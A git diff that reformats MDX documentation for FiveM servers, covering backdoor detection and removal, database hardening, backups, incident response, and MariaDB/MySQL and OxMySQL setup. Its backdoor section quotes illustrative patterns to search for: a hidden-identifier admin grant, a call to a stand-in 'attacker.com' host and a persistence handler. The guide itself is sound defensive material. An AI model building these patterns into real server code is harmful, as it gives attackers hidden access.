machine, giving them remote command execution. This is particularly dangerous on Windows servers where the attacker could execute PowerShell commands or on Linux servers where they could execute bash. The connection often uses encrypted channels (SSH tunnels or encrypted HTTP) to avoid detection.", }, { term: "Update Backdoors", - description: "A malicious update to a resource is distributed. If your server auto-updates resources, the backdoor is installed automatically. Even if you don't auto-update, an admin downloading the latest version could install the compromised code without realizing it." - } + description: + "A malicious update to a resource is distributed. If your server auto-updates resources, the backdoor is installed automatically. Even if you don't auto-update, an admin downloading the latest version could install the compromised code without realizing it.", + }, ]} /> @@ -151,7 +170,7 @@ Backdoor detection requires multiple approaches since no single method catches e "Review all admin accounts in your database and verify each one corresponds to a real administrator", "Check outbound connections using netstat or similar tools. Establish a baseline of normal traffic", "Enable and review database query logs. Look for queries from accounts you don't recognize", - "Run file integrity checks. Tools like AIDE (Linux) or Windows File Integrity Monitoring can detect unauthorized changes" + "Run file integrity checks. Tools like AIDE (Linux) or Windows File Integrity Monitoring can detect unauthorized changes", ]} /> @@ -163,33 +182,40 @@ Once you've identified a backdoor, thorough removal is critical because backdoor steps={[ { title: "Isolate the Server", - description: "Take your server offline or restrict access while you investigate. Backdoors are often designed to alert the attacker when they're discovered. By going offline, you reduce the risk of the attacker noticing and establishing another backdoor. Restrict network access from the server to the internet if possible." + description: + "Take your server offline or restrict access while you investigate. Backdoors are often designed to alert the attacker when they're discovered. By going offline, you reduce the risk of the attacker noticing and establishing another backdoor. Restrict network access from the server to the internet if possible.", }, { title: "Identify All Backdoor Components", - description: "Don't just remove one suspicious resource or file. Backdoors are typically multi-layered. A single malicious resource might create database accounts, add hidden admin users, and place files in multiple locations. Finding one component should trigger a comprehensive search for others.", - code: "-- Common backdoor patterns to search for:\n-- Hidden identifiers that grant permissions\nif identifier == 'hidden-admin-identifier' then\n grantAdmin(source)\nend\n\n-- External communication\nHttpsRequest({url = 'http://attacker.com/...'})\n\n-- Resource restart immunity\nAddEventHandler('onServerResourceStart', function()\n -- Persistence code\nend)" + description: + "Don't just remove one suspicious resource or file. Backdoors are typically multi-layered. A single malicious resource might create database accounts, add hidden admin users, and place files in multiple locations. Finding one component should trigger a comprehensive search for others.", + code: "-- Common backdoor patterns to search for:\n-- Hidden identifiers that grant permissions\nif identifier == 'hidden-admin-identifier' then\n grantAdmin(source)\nend\n\n-- External communication\nHttpsRequest({url = 'http://attacker.com/...'})\n\n-- Resource restart immunity\nAddEventHandler('onServerResourceStart', function()\n -- Persistence code\nend)", }, { title: "Remove the Backdoor", - description: "Delete malicious resources, drop compromised database accounts, delete unauthorized files, and remove hidden admin accounts. Don't just disable them. Completely remove them. A disabled account can be re-enabled." + description: + "Delete malicious resources, drop compromised database accounts, delete unauthorized files, and remove hidden admin accounts. Don't just disable them. Completely remove them. A disabled account can be re-enabled.", }, { title: "Change All Credentials", - description: "Change database passwords, admin account passwords, credentials for external services, and any SSH keys if your infrastructure was compromised. Assume the attacker has copied any credentials they could access." + description: + "Change database passwords, admin account passwords, credentials for external services, and any SSH keys if your infrastructure was compromised. Assume the attacker has copied any credentials they could access.", }, { title: "Restore from Backup", - description: "If you have a clean backup from before the compromise, restore your entire server from it. This is the most reliable way to ensure the backdoor is gone. However, you need to ensure your backup itself isn't compromised. Check backup dates and verify they're from before you believe the compromise occurred.", + description: + "If you have a clean backup from before the compromise, restore your entire server from it. This is the most reliable way to ensure the backdoor is gone. However, you need to ensure your backup itself isn't compromised. Check backup dates and verify they're from before you believe the compromise occurred.", alert: { type: "warning", - message: "Backup restoration is only effective if the backup was taken before the compromise. If the attacker had access for months but you only recently discovered it, all your recent backups might be compromised. Maintain long-term retention of older backups." - } + message: + "Backup restoration is only effective if the backup was taken before the compromise. If the attacker had access for months but you only recently discovered it, all your recent backups might be compromised. Maintain long-term retention of older backups.", + }, }, { title: "Audit Everything", - description: "After removal, audit your entire infrastructure. Review code changes, commit histories, and deployment logs. Look for any other suspicious activity. A backdoor is rarely the only attack. The attacker typically begins with reconnaissance and may have established other access methods." - } + description: + "After removal, audit your entire infrastructure. Review code changes, commit histories, and deployment logs. Look for any other suspicious activity. A backdoor is rarely the only attack. The attacker typically begins with reconnaissance and may have established other access methods.", + }, ]} /> @@ -227,43 +253,51 @@ Database credentials stored in resource code, configuration files, or commit his { action: "Use Strong Credentials", permission: "required", - description: "Database usernames and passwords should be strong, unique, and rotated regularly. Use a password manager to generate and store them." + description: + "Database usernames and passwords should be strong, unique, and rotated regularly. Use a password manager to generate and store them.", }, { action: "Restrict Database Access", permission: "required", - description: "Limit database access to only your application server. Use firewall rules to block direct internet access. Consider network-level isolation using VPCs or private networks." + description: + "Limit database access to only your application server. Use firewall rules to block direct internet access. Consider network-level isolation using VPCs or private networks.", }, { action: "Enforce Encrypted Connections", permission: "required", - description: "Require SSL/TLS for all database connections. Configure your database server to reject unencrypted connections." + description: + "Require SSL/TLS for all database connections. Configure your database server to reject unencrypted connections.", }, { action: "Use Parameterized Queries", permission: "required", - description: "Always use parameterized queries or prepared statements. Never construct queries by concatenating strings with user input." + description: + "Always use parameterized queries or prepared statements. Never construct queries by concatenating strings with user input.", }, { action: "Implement Principle of Least Privilege", permission: "required", - description: "Database accounts should have only the permissions they need. Don't use a single account with full permissions for everything. Create limited accounts for different functions." + description: + "Database accounts should have only the permissions they need. Don't use a single account with full permissions for everything. Create limited accounts for different functions.", }, { action: "Monitor Database Activity", permission: "required", - description: "Enable database logging and monitor for suspicious queries, failed authentication attempts, and unusual access patterns." + description: + "Enable database logging and monitor for suspicious queries, failed authentication attempts, and unusual access patterns.", }, { action: "Regular Security Audits", permission: "recommended", - description: "Periodically audit your database for unauthorized accounts, unusual privileges, and suspicious modifications." + description: + "Periodically audit your database for unauthorized accounts, unusual privileges, and suspicious modifications.", }, { action: "Keep Database Software Updated", permission: "required", - description: "Apply security patches promptly. Unpatched databases are vulnerable to known exploits." - } + description: + "Apply security patches promptly. Unpatched databases are vulnerable to known exploits.", + }, ]} /> @@ -301,29 +335,35 @@ Treat backups with the same security standards as your live database, or perhaps steps={[ { title: "Encrypt Backups", - description: "Encrypt backups at rest using strong encryption (AES-256 or better). Encrypt them in transit using TLS. The encryption key should be stored separately from the backups." + description: + "Encrypt backups at rest using strong encryption (AES-256 or better). Encrypt them in transit using TLS. The encryption key should be stored separately from the backups.", }, { title: "Restrict Backup Access", - description: "Limit who can create, modify, and restore backups. Use separate accounts for backup operations with minimal required permissions. Back up to isolated storage that's not directly accessible from your application server." + description: + "Limit who can create, modify, and restore backups. Use separate accounts for backup operations with minimal required permissions. Back up to isolated storage that's not directly accessible from your application server.", }, { title: "Verify Backup Integrity", - description: "Use cryptographic checksums or signatures to verify that backups haven't been modified. Create a checksum when the backup is made and verify it before restoration.", - code: "-- Example: Creating a backup checksum\nsha256sum database_backup.sql > database_backup.sql.sha256\n\n-- Verifying before restoration\nsha256sum -c database_backup.sql.sha256" + description: + "Use cryptographic checksums or signatures to verify that backups haven't been modified. Create a checksum when the backup is made and verify it before restoration.", + code: "-- Example: Creating a backup checksum\nsha256sum database_backup.sql > database_backup.sql.sha256\n\n-- Verifying before restoration\nsha256sum -c database_backup.sql.sha256", }, { title: "Maintain Historical Backups", - description: "Keep multiple versions of backups spanning a long timeframe. If your server was compromised months ago but you only recently discovered it, you need a backup from before the compromise occurred. Monthly or quarterly backups reaching back years are reasonable." + description: + "Keep multiple versions of backups spanning a long timeframe. If your server was compromised months ago but you only recently discovered it, you need a backup from before the compromise occurred. Monthly or quarterly backups reaching back years are reasonable.", }, { title: "Test Restoration Procedures", - description: "Regularly test restoring from backups in a non-production environment. This ensures backups are functional and gives you experience with the restoration process before you desperately need it." + description: + "Regularly test restoring from backups in a non-production environment. This ensures backups are functional and gives you experience with the restoration process before you desperately need it.", }, { title: "Automate Backup Creation", - description: "Use automated backup tools rather than manual backup creation. Automation is more reliable and less prone to mistakes. Schedule regular automated backups and verify they're completing successfully." - } + description: + "Use automated backup tools rather than manual backup creation. Automation is more reliable and less prone to mistakes. Schedule regular automated backups and verify they're completing successfully.", + }, ]} /> @@ -355,7 +395,7 @@ A lower-privileged user might exploit vulnerabilities in your admin system to el "Regularly rotate admin credentials and review admin account access. Remove admins who are no longer active", "Monitor for unusual admin activity (commands at strange times, mass bans, excessive economic changes). Investigate anomalies", "Implement rate limiting on admin commands to prevent automated attacks. An attacker shouldn't be able to ban 1000 players in one second", - "Use application-level admin systems rather than relying solely on database permissions. Your database permissions and your application permissions are independent layers" + "Use application-level admin systems rather than relying solely on database permissions. Your database permissions and your application permissions are independent layers", ]} /> @@ -403,24 +443,29 @@ Early detection of compromise reduces the damage. Quick response contains the at items={[ { term: "Behavior Analysis", - description: "Establish a baseline of normal server behavior and player activity. Sudden changes might indicate compromise: unusual admin activity, unexpected resource restarts, players being banned without reason, or players having permissions they shouldn't have." + description: + "Establish a baseline of normal server behavior and player activity. Sudden changes might indicate compromise: unusual admin activity, unexpected resource restarts, players being banned without reason, or players having permissions they shouldn't have.", }, { term: "Log Analysis", - description: "Review server logs, application logs, and system logs regularly. Look for unusual patterns, failed authentication attempts, unexpected errors, or suspicious activity. Automated log analysis tools can alert you to anomalies." + description: + "Review server logs, application logs, and system logs regularly. Look for unusual patterns, failed authentication attempts, unexpected errors, or suspicious activity. Automated log analysis tools can alert you to anomalies.", }, { term: "Network Monitoring", - description: "Monitor network traffic to and from your server. Unusual outbound connections, traffic to suspicious IP addresses, or encrypted traffic from resources that shouldn't be encrypting data are red flags." + description: + "Monitor network traffic to and from your server. Unusual outbound connections, traffic to suspicious IP addresses, or encrypted traffic from resources that shouldn't be encrypting data are red flags.", }, { term: "File Integrity Monitoring", - description: "Tools like AIDE (Advanced Intrusion Detection Environment) on Linux or Windows File Integrity Monitoring can alert you when files are modified unexpectedly. A sudden change to a critical resource file indicates potential compromise." + description: + "Tools like AIDE (Advanced Intrusion Detection Environment) on Linux or Windows File Integrity Monitoring can alert you when files are modified unexpectedly. A sudden change to a critical resource file indicates potential compromise.", }, { term: "Performance Monitoring", - description: "Unexpected performance degradation, CPU spikes, or memory usage increases might indicate malicious activity or resource exhaustion attacks." - } + description: + "Unexpected performance degradation, CPU spikes, or memory usage increases might indicate malicious activity or resource exhaustion attacks.", + }, ]} /> @@ -430,32 +475,39 @@ Early detection of compromise reduces the damage. Quick response contains the at steps={[ { title: "Confirm the Compromise", - description: "Before taking drastic action, confirm you actually have a security issue. False alarms lead to unnecessary downtime. Gather evidence and have multiple people review it." + description: + "Before taking drastic action, confirm you actually have a security issue. False alarms lead to unnecessary downtime. Gather evidence and have multiple people review it.", }, { title: "Isolate the Server", - description: "Take the server offline or restrict access. This prevents the attacker from causing further damage or establishing additional backdoors. It also prevents them from being alerted that you've discovered the compromise." + description: + "Take the server offline or restrict access. This prevents the attacker from causing further damage or establishing additional backdoors. It also prevents them from being alerted that you've discovered the compromise.", }, { title: "Preserve Evidence", - description: "Before making changes, capture logs, memory dumps, and file system state. This evidence is needed for investigation and potential law enforcement involvement." + description: + "Before making changes, capture logs, memory dumps, and file system state. This evidence is needed for investigation and potential law enforcement involvement.", }, { title: "Eradicate the Threat", - description: "Remove the compromise: delete malicious resources, drop unauthorized accounts, delete backdoor files, and change all credentials. Refer to the detailed removal steps earlier in this guide." + description: + "Remove the compromise: delete malicious resources, drop unauthorized accounts, delete backdoor files, and change all credentials. Refer to the detailed removal steps earlier in this guide.", }, { title: "Recover to a Known Good State", - description: "Restore from a clean backup if available, rebuild from scratch if necessary, or deploy a new server from a known good image. Ensure the recovered state doesn't include the compromise." + description: + "Restore from a clean backup if available, rebuild from scratch if necessary, or deploy a new server from a known good image. Ensure the recovered state doesn't include the compromise.", }, { title: "Hardening", - description: "After recovery, implement additional security measures to prevent recurrence. Review what allowed the initial compromise and fix it." + description: + "After recovery, implement additional security measures to prevent recurrence. Review what allowed the initial compromise and fix it.", }, { title: "Communicate", - description: "Decide how much to communicate to players about the incident. Transparency builds trust, but you might not want to publicly announce security flaws. At minimum, change any compromised player data (reset passwords, audit account changes)." - } + description: + "Decide how much to communicate to players about the incident. Transparency builds trust, but you might not want to publicly announce security flaws. At minimum, change any compromised player data (reset passwords, audit account changes).", + }, ]} /> @@ -470,33 +522,39 @@ Prevention is better than response. Harden your server against the attacks descr { name: "Code Security", icon: "code", - description: "Review all custom resources, audit third-party resources, and keep dependencies updated" + description: + "Review all custom resources, audit third-party resources, and keep dependencies updated", }, { name: "Database Security", icon: "database", - description: "Use strong credentials, restrict access, encrypt connections, and implement parameterized queries" + description: + "Use strong credentials, restrict access, encrypt connections, and implement parameterized queries", }, { name: "Access Control", icon: "shield", - description: "Implement MFA, use least privilege, separate admin tiers, and audit admin actions" + description: + "Implement MFA, use least privilege, separate admin tiers, and audit admin actions", }, { name: "Backup Strategy", icon: "server", - description: "Encrypt backups, restrict access, maintain historical versions, and test restoration regularly" + description: + "Encrypt backups, restrict access, maintain historical versions, and test restoration regularly", }, { name: "Monitoring", icon: "activity", - description: "Monitor resources, logs, network activity, and file integrity. Alert on anomalies" + description: + "Monitor resources, logs, network activity, and file integrity. Alert on anomalies", }, { name: "Incident Response", icon: "alert-triangle", - description: "Have a plan for detecting and responding to compromise. Test it regularly" - } + description: + "Have a plan for detecting and responding to compromise. Test it regularly", + }, ]} /> diff --git a/content/docs/guides/database-setup.mdx b/content/docs/guides/database-setup.mdx index 7c19262..ddba011 100644 --- a/content/docs/guides/database-setup.mdx +++ b/content/docs/guides/database-setup.mdx @@ -4,7 +4,23 @@ description: Complete guide to setting up and configuring databases for FiveM se icon: "Database" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; A properly configured database is essential for any FiveM server. This guide covers everything from initial setup to advanced optimization techniques for MySQL/MariaDB databases. @@ -13,12 +29,14 @@ A properly configured database is essential for any FiveM server. This guide cov ### MySQL vs MariaDB **MySQL** + - Industry standard, widely supported - Excellent performance and reliability - Extensive documentation and community - Commercial support available **MariaDB (Recommended)** + - Fork of MySQL with enhanced features - Better performance in many scenarios - Fully open-source with no licensing concerns @@ -28,13 +46,34 @@ A properly configured database is essential for any FiveM server. This guide cov @@ -47,14 +86,31 @@ A properly configured database is essential for any FiveM server. This guide cov title="MariaDB Configuration" description="Key configuration settings for MariaDB including character set, connection limits, and performance tuning" config={[ - { key: "character-set-server", value: "utf8mb4", description: "Unicode support for international characters" }, - { key: "collation-server", value: "utf8mb4_unicode_ci", description: "Proper collation for Unicode" }, - { key: "max_connections", value: "500", description: "Maximum concurrent database connections" }, - { key: "innodb_buffer_pool_size", value: "1G", description: "Cache size for frequently accessed data" } + { + key: "character-set-server", + value: "utf8mb4", + description: "Unicode support for international characters", + }, + { + key: "collation-server", + value: "utf8mb4_unicode_ci", + description: "Proper collation for Unicode", + }, + { + key: "max_connections", + value: "500", + description: "Maximum concurrent database connections", + }, + { + key: "innodb_buffer_pool_size", + value: "1G", + description: "Cache size for frequently accessed data", + }, ]} /> 1. **Download MariaDB** + ``` Visit: https://mariadb.org/download/ Select: Windows x64 MSI Package @@ -80,6 +136,7 @@ A properly configured database is essential for any FiveM server. This guide cov #### Installing MySQL on Windows 1. **Download MySQL Installer** + ``` Visit: https://dev.mysql.com/downloads/installer/ Download: MySQL Installer for Windows @@ -100,13 +157,14 @@ A properly configured database is essential for any FiveM server. This guide cov "Run security configuration", "Configure character set", "Enable firewall rules", - "Verify service running" + "Verify service running", ]} /> #### MariaDB Installation (Recommended) **Step 1: Update System Packages** + ```bash # Update package repositories sudo apt update && sudo apt upgrade -y @@ -116,6 +174,7 @@ sudo apt install software-properties-common apt-transport-https wget -y ``` **Step 2: Install MariaDB Server** + ```bash # Install MariaDB server and client sudo apt install mariadb-server mariadb-client -y @@ -125,6 +184,7 @@ mysql --version ``` **Step 3: Secure MariaDB Installation** + ```bash # Run security script sudo mysql_secure_installation @@ -138,6 +198,7 @@ sudo mysql_secure_installation ``` **Step 4: Configure MariaDB** + ```bash # Edit MariaDB configuration sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf @@ -152,6 +213,7 @@ innodb_log_file_size=256M ``` **Step 5: Restart and Enable Service** + ```bash # Restart MariaDB to apply changes sudo systemctl restart mariadb @@ -164,6 +226,7 @@ sudo systemctl status mariadb ``` **Step 6: Configure Firewall (if needed)** + ```bash # Allow MySQL port through firewall sudo ufw allow 3306/tcp @@ -303,11 +366,13 @@ Now that your database is installed, you'll need tools to manage it effectively. #### HeidiSQL (Windows - Recommended) **Installation:** + 1. Download from [https://www.heidisql.com/download.php](https://www.heidisql.com/download.php) 2. Run the installer (portable version also available) 3. Launch HeidiSQL **Connecting to Your Database:** + 1. Click **"New"** at the bottom left 2. Configure connection: ``` @@ -321,6 +386,7 @@ Now that your database is installed, you'll need tools to manage it effectively. 3. Click **"Open"** **Key Features:** + - Visual table editor with drag-and-drop - Query builder and SQL editor with syntax highlighting - Import/export data (SQL, CSV, XML, etc.) @@ -329,6 +395,7 @@ Now that your database is installed, you'll need tools to manage it effectively. - Table designer with visual foreign key relationships **Common Tasks:** + ```sql -- Create new table -- Use the visual table designer or SQL tab @@ -348,6 +415,7 @@ Now that your database is installed, you'll need tools to manage it effectively. **Installation:** **Linux (Ubuntu/Debian):** + ```bash # Download and install wget https://dbeaver.io/files/dbeaver-ce_latest_amd64.deb @@ -359,12 +427,14 @@ dbeaver ``` **Windows:** + ``` Download from: https://dbeaver.io/download/ Run the installer ``` **Connecting to Database:** + 1. Click **"New Database Connection"** or Ctrl+Shift+N 2. Select **MariaDB** or **MySQL** 3. Enter connection details: @@ -378,6 +448,7 @@ Run the installer 4. Test connection and click **"Finish"** **Key Features:** + - Universal database tool (supports 100+ databases) - Advanced SQL editor with autocomplete - ER diagrams and visual query builder @@ -389,6 +460,7 @@ Run the installer #### phpMyAdmin (Web-Based) **Installation on Linux:** + ```bash # Ubuntu/Debian sudo apt update @@ -407,6 +479,7 @@ sudo systemctl restart nginx ``` **Access phpMyAdmin:** + ``` Navigate to: http://localhost/phpmyadmin or http://your-server-ip/phpmyadmin @@ -415,6 +488,7 @@ Login with database credentials ``` **Security Configuration:** + ```bash # Create .htaccess for additional security sudo nano /usr/share/phpmyadmin/.htaccess @@ -437,6 +511,7 @@ sudo chmod 640 /etc/phpmyadmin/.htpasswd **Installation:** **Linux (Ubuntu/Debian):** + ```bash # Download from MySQL website or use snap sudo snap install mysql-workbench-community @@ -447,12 +522,14 @@ sudo apt install mysql-workbench ``` **Windows:** + ``` Download from: https://dev.mysql.com/downloads/workbench/ Run the installer ``` **Key Features:** + - Database design and modeling - Visual ER diagram editor - SQL development and administration @@ -461,6 +538,7 @@ Run the installer - Server administration **Creating a Connection:** + 1. Click **"+"** next to MySQL Connections 2. Enter connection details: ``` @@ -475,6 +553,7 @@ Run the installer #### Command Line Tools **MySQL/MariaDB Command Line Client:** + ```bash # Connect to database mysql -u fivem_user -p fivem @@ -488,6 +567,7 @@ SELECT * FROM users LIMIT 10; # Query data ``` **mycli (Enhanced CLI with Auto-completion):** + ```bash # Install mycli pip install mycli @@ -506,6 +586,7 @@ mycli -u fivem_user -p fivem ``` **Adminer (Lightweight phpMyAdmin Alternative):** + ```bash # Download single PHP file sudo mkdir -p /var/www/html/adminer @@ -521,6 +602,7 @@ sudo chown -R www-data:www-data /var/www/html/adminer #### Remote Database Management **SSH Tunnel for Secure Remote Access:** + ```bash # Create SSH tunnel from local machine to remote database ssh -L 3306:localhost:3306 user@your-server-ip @@ -530,6 +612,7 @@ ssh -L 3306:localhost:3306 user@your-server-ip ``` **Using HeidiSQL with SSH Tunnel:** + 1. In HeidiSQL, click **"New"** 2. Go to **"SSH tunnel"** tab 3. Enable **"Use SSH tunnel"** @@ -548,6 +631,7 @@ ssh -L 3306:localhost:3306 user@your-server-ip ### Automated Management Scripts **Database Health Check Script (Linux):** + ```bash #!/bin/bash # db-health-check.sh @@ -588,7 +672,7 @@ echo "✓ Health check completed successfully" ```yaml # docker-compose.yml -version: '3.8' +version: "3.8" services: mariadb: image: mariadb:10.11 @@ -703,40 +787,43 @@ SELECT User, Host FROM mysql.user WHERE User = 'fivem_user'; ### OxMySQL Setup (Recommended) 1. **Download and Install** + ```bash # Download latest release from GitHub # https://github.com/overextended/oxmysql/releases - + # Extract to resources folder # Ensure it's named exactly 'oxmysql' ``` 2. **Configuration** + ```lua -- Add to server.cfg ensure oxmysql - + -- Database connection string set mysql_connection_string "mysql://fivem_user:password@localhost/fivem?charset=utf8mb4" - + -- Alternative format set mysql_connection_string "server=localhost;database=fivem;userid=fivem_user;password=password;charset=utf8mb4" ``` 3. **Basic Usage** + ```lua -- Single query exports.oxmysql:execute('INSERT INTO users (name, money) VALUES (?, ?)', { - playerName, + playerName, 5000 }) - + -- Fetch single result local result = exports.oxmysql:single_sync('SELECT * FROM users WHERE id = ?', {userId}) - + -- Fetch multiple results local users = exports.oxmysql:query_sync('SELECT * FROM users WHERE money > ?', {1000}) - + -- Prepared statements local insertId = exports.oxmysql:insert_sync('INSERT INTO transactions (user_id, amount, type) VALUES (?, ?, ?)', { userId, amount, 'deposit' @@ -968,18 +1055,18 @@ gunzip -c /backups/database/fivem_backup_20240724_120000.sql.gz | mysql -u fivem ```sql -- Check database size -SELECT +SELECT table_schema AS 'Database', ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS 'Size (MB)' -FROM information_schema.tables +FROM information_schema.tables WHERE table_schema = 'fivem' GROUP BY table_schema; -- Check table sizes -SELECT +SELECT table_name AS 'Table', ROUND(((data_length + index_length) / 1024 / 1024), 2) AS 'Size (MB)' -FROM information_schema.TABLES +FROM information_schema.TABLES WHERE table_schema = 'fivem' ORDER BY (data_length + index_length) DESC; @@ -1037,6 +1124,7 @@ set mysql_connection_string "server=host;database=db;userid=user;password=pass;s ### Common Issues **Connection Refused** + ```bash # Check if MySQL/MariaDB is running sudo systemctl status mariadb @@ -1047,6 +1135,7 @@ netstat -tlnp | grep :3306 ``` **Access Denied** + ```sql -- Reset user password ALTER USER 'fivem_user'@'localhost' IDENTIFIED BY 'new_password'; @@ -1054,6 +1143,7 @@ FLUSH PRIVILEGES; ``` **Character Set Issues** + ```sql -- Check current charset SHOW VARIABLES LIKE 'character_set%'; @@ -1063,6 +1153,7 @@ ALTER TABLE users CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; ``` **Performance Issues** + ```sql -- Check running processes SHOW PROCESSLIST; diff --git a/content/docs/guides/database-tools.mdx b/content/docs/guides/database-tools.mdx index aa50ea6..414a3ae 100644 --- a/content/docs/guides/database-tools.mdx +++ b/content/docs/guides/database-tools.mdx @@ -4,15 +4,37 @@ description: Guide to using and optimizing database operations in CitizenFX. icon: "Database" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; Proper database management is crucial for any FiveM server. This guide covers the most popular database libraries, optimization techniques, and best practices. ## Overview of Database Libraries - + - + ### OxMySQL (Recommended) @@ -76,6 +98,7 @@ For MySQL-Async, configure in `config.json`: ### Database Structure Best Practices 1. **Use Proper Indexes**: + ```sql CREATE TABLE players ( id INT AUTO_INCREMENT PRIMARY KEY, @@ -87,6 +110,7 @@ For MySQL-Async, configure in `config.json`: ``` 2. **Use Appropriate Data Types**: + ```sql CREATE TABLE vehicles ( id INT AUTO_INCREMENT PRIMARY KEY, @@ -273,29 +297,32 @@ end) ### Query Optimization 1. **Use Prepared Statements**: + ```lua -- Bad (String concatenation) local query = 'SELECT * FROM players WHERE identifier = "' .. identifier .. '"' - + -- Good (Prepared statement) local query = 'SELECT * FROM players WHERE identifier = ?' local params = {identifier} ``` 2. **Select Only Needed Columns**: + ```lua -- Bad (Selecting everything) exports.oxmysql:execute('SELECT * FROM players WHERE identifier = ?', {identifier}) - + -- Good (Selecting only needed columns) exports.oxmysql:execute('SELECT id, name, money FROM players WHERE identifier = ?', {identifier}) ``` 3. **Use Proper WHERE Clauses**: + ```lua -- Bad (Full table scan) exports.oxmysql:execute('SELECT * FROM players WHERE LOWER(name) = LOWER(?)', {playerName}) - + -- Good (Using indexed column) exports.oxmysql:execute('SELECT * FROM players WHERE identifier = ?', {identifier}) ``` @@ -350,17 +377,17 @@ local function getPlayerData(identifier) if playerCache[identifier] and playerCache[identifier].timestamp > os.time() - 60 then return playerCache[identifier].data end - + -- Fetch from database if not in cache local result = exports.oxmysql:executeSync('SELECT * FROM players WHERE identifier = ?', {identifier}) local player = result[1] - + -- Update cache playerCache[identifier] = { data = player, timestamp = os.time() } - + return player end @@ -426,7 +453,7 @@ function PlayerModel.new(data) self.identifier = self.identifier or nil self.name = self.name or '' self.money = self.money or 0 - + function self:save() if self.id then -- Update existing @@ -443,12 +470,12 @@ function PlayerModel.new(data) end return self end - + function self:addMoney(amount) self.money = self.money + amount return self:save() end - + return self end @@ -483,10 +510,11 @@ end ### Common Database Errors 1. **Connection Issues**: + ``` Error: Connection to database failed ``` - + **Solutions**: - Check if MySQL server is running - Verify connection credentials @@ -495,10 +523,11 @@ end - Verify port configuration 2. **Query Errors**: + ``` Error: ER_BAD_FIELD_ERROR: Unknown column 'nonexistent' in 'field list' ``` - + **Solutions**: - Verify table schema - Check query syntax @@ -506,10 +535,11 @@ end - Update queries after schema changes 3. **Performance Issues**: + ``` Warning: Slow query detected (took 5000ms) ``` - + **Solutions**: - Add proper indexes - Optimize queries @@ -559,18 +589,19 @@ end) Comprehensive migration table: -| MySQL-Async | OxMySQL | -|-------------|---------| -| `MySQL.Async.fetchAll` | `exports.oxmysql:execute` | -| `MySQL.Async.fetchScalar` | `exports.oxmysql:scalar` | -| `MySQL.Async.execute` | `exports.oxmysql:execute` | -| `MySQL.Async.insert` | `exports.oxmysql:insert` | -| `MySQL.Sync.fetchAll` | `exports.oxmysql:executeSync` | -| `MySQL.Sync.fetchScalar` | `exports.oxmysql:scalarSync` | -| `MySQL.Sync.execute` | `exports.oxmysql:executeSync` | -| `MySQL.Sync.insert` | `exports.oxmysql:insertSync` | +| MySQL-Async | OxMySQL | +| ------------------------- | ----------------------------- | +| `MySQL.Async.fetchAll` | `exports.oxmysql:execute` | +| `MySQL.Async.fetchScalar` | `exports.oxmysql:scalar` | +| `MySQL.Async.execute` | `exports.oxmysql:execute` | +| `MySQL.Async.insert` | `exports.oxmysql:insert` | +| `MySQL.Sync.fetchAll` | `exports.oxmysql:executeSync` | +| `MySQL.Sync.fetchScalar` | `exports.oxmysql:scalarSync` | +| `MySQL.Sync.execute` | `exports.oxmysql:executeSync` | +| `MySQL.Sync.insert` | `exports.oxmysql:insertSync` | For parameter styles: + - MySQL-Async: `@identifier` - OxMySQL: `?` (positional parameters) @@ -588,6 +619,7 @@ Managing your database efficiently requires the right tools. Here are the best a ### HeidiSQL (Windows - Highly Recommended) **Why HeidiSQL?** + - **Free and Open Source**: No licensing costs - **Lightweight**: Fast and responsive interface - **Portable**: Can run without installation @@ -595,6 +627,7 @@ Managing your database efficiently requires the right tools. Here are the best a - **User-Friendly**: Intuitive interface for beginners and experts **Key Features:** + - **Visual Table Designer**: Create and modify tables with drag-and-drop - **SQL Editor**: Syntax highlighting, auto-completion, query formatting - **Data Export/Import**: Support for SQL, CSV, HTML, XML, LaTeX, Wiki markup @@ -607,6 +640,7 @@ Managing your database efficiently requires the right tools. Here are the best a **Getting Started with HeidiSQL:** 1. **Download and Install** + ``` Visit: https://www.heidisql.com/download.php Choose: Installer or Portable version @@ -652,6 +686,7 @@ Managing your database efficiently requires the right tools. Here are the best a - View results with context **Pro Tips:** + ```sql -- Use SQL snippets for common queries -- Tools → Preferences → SQL → Snippets @@ -666,6 +701,7 @@ Managing your database efficiently requires the right tools. Here are the best a ### DBeaver (Cross-Platform Universal Tool) **Why DBeaver?** + - **Cross-Platform**: Works on Windows, Linux, macOS - **Universal**: Supports 100+ different databases - **Free Community Edition**: Full-featured and open source @@ -675,6 +711,7 @@ Managing your database efficiently requires the right tools. Here are the best a **Installation:** **Windows:** + ``` Download from: https://dbeaver.io/download/ Choose: Community Edition (free) or Enterprise Edition @@ -682,6 +719,7 @@ Run installer and follow prompts ``` **Linux (Ubuntu/Debian):** + ```bash # Method 1: Using snap sudo snap install dbeaver-ce @@ -696,6 +734,7 @@ dbeaver ``` **Linux (Fedora/RHEL/CentOS):** + ```bash # Download RPM package wget https://dbeaver.io/files/dbeaver-ce-latest-stable.x86_64.rpm @@ -708,6 +747,7 @@ dbeaver ``` **Key Features:** + - **SQL Editor**: Advanced editor with auto-complete and syntax validation - **Data Viewer**: Inline editing, filtering, sorting - **ER Diagrams**: Visual database structure diagrams @@ -725,6 +765,7 @@ dbeaver - Click "Next" 2. **Configure Connection** + ``` Connect by: Host Server Host: localhost (or server IP) @@ -743,6 +784,7 @@ dbeaver **Advanced Features:** **Creating ER Diagrams:** + ``` 1. Right-click database → Generate ER Diagram 2. Select tables to include @@ -751,6 +793,7 @@ dbeaver ``` **Mock Data Generation:** + ``` 1. Right-click table → Generate SQL → 